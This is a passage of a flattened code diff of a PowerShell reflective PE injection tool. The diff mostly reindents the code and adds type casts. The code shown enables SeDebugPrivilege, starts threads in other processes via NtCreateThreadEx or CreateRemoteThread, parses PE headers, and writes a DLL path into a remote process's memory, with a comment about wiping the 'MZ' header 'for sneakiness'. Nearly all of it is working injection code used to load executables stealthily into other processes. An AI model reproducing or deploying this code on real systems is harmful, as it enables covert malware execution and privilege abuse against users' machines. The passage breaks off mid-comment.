[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } - Function Write-BytesToMemory - { - Param( - [Parameter(Position=0, Mandatory = $true)] - [Byte[]] - $Bytes, + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, - [Parameter(Position=1, Mandatory = $true)] - [IntPtr] - $MemoryAddress - ) + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) - for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) - { - [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) - } - } + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') - Write-Output $TypeBuilder.CreateType() - } + Write-Output $TypeBuilder.CreateType() + } - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } - Function Enable-SeDebugPrivilege - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $Win32Functions.ImpersonateSelf.Invoke(3) - if ($Result -eq $false) - { - Throw "Unable to impersonate self" - } + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } - $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw "Unable to OpenThreadToken." - } - } - else - { - Throw "Unable to OpenThreadToken. Error code: $ErrorCode" - } - } - - [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.LUID)) - $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) - if ($Result -eq $false) - { - Throw "Unable to call LookupPrivilegeValue" - } - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.TOKEN_PRIVILEGES) - [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, $Win32Types.TOKEN_PRIVILEGES) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, $Win32Types.LUID) - $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) - - $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value - if (($Result -eq $false) -or ($ErrorCode -ne 0)) - { - #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) - } + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } - Function Invoke-CreateRemoteThread - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [IntPtr] - $ProcessHandle, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(Position = 3, Mandatory = $false)] - [IntPtr] - $ArgumentPtr = [IntPtr]::Zero, - - [Parameter(Position = 4, Mandatory = $true)] - [System.Object] - $Win32Functions - ) - - [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero - - $OSVersion = [Environment]::OSVersion.Version - #Vista and Win7 - if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) - { - Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" - $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) - $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" - } - } - #XP/Win8 - else - { - Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" - $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) - } - - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Write-Verbose "Error creating remote thread, thread handle is null" - } - - return $RemoteThreadHandle - } + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } - Function Get-ImageNtHeaders - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) - $NtHeadersInfo = New-Object System.Object + $NtHeadersInfo = New-Object System.Object - #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness - $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, $Win32Types.IMAGE_DOS_HEADER) + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) - #Get IMAGE_NT_HEADERS - [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr - $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS64) + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) - #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. - if ($imageNtHeaders64.Signature -ne 0x00004550) - { - throw "Invalid IMAGE_NT_HEADER signature." - } - - if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') - { - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true - } - else - { - $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS32) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false - } - - return $NtHeadersInfo - } - - - #This function will get the information needed to allocated space in memory for the PE - Function Get-PEBasicInfo + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $PEInfo = New-Object System.Object - - #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. - [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null - - #Get NtHeadersInfo - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types - - #Build a structure with the information which will be needed for allocating memory and writing the PE to memory - $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) - - #Free the memory allocated above, this isn't where we allocate the PE to memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) - - return $PEInfo - } - - - #PEInfo must contain the following NoteProperties: - # PEHandle: An IntPtr to the address the PE is loaded to in memory - Function Get-PEDetailedInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) - { - throw 'PEHandle is null or IntPtr.Zero' - } - - $PEInfo = New-Object System.Object - - #Get NtHeaders information - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types - - #Build the PEInfo object - $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle - $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) - $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) - $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - - if ($PEInfo.PE64Bit -eq $true) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS64))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - else - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS32))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - - if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' - } - elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' - } - else - { - Throw "PE file is not an EXE or DLL" - } - - return $PEInfo + throw "Invalid IMAGE_NT_HEADER signature." } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } - Function Import-DllInRemoteProcess - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $ImportDllPathPtr - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) - $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RImportDllPathPtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) - - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($DllPathSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes - - [IntPtr]$DllAddress = [IntPtr]::Zero - #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need 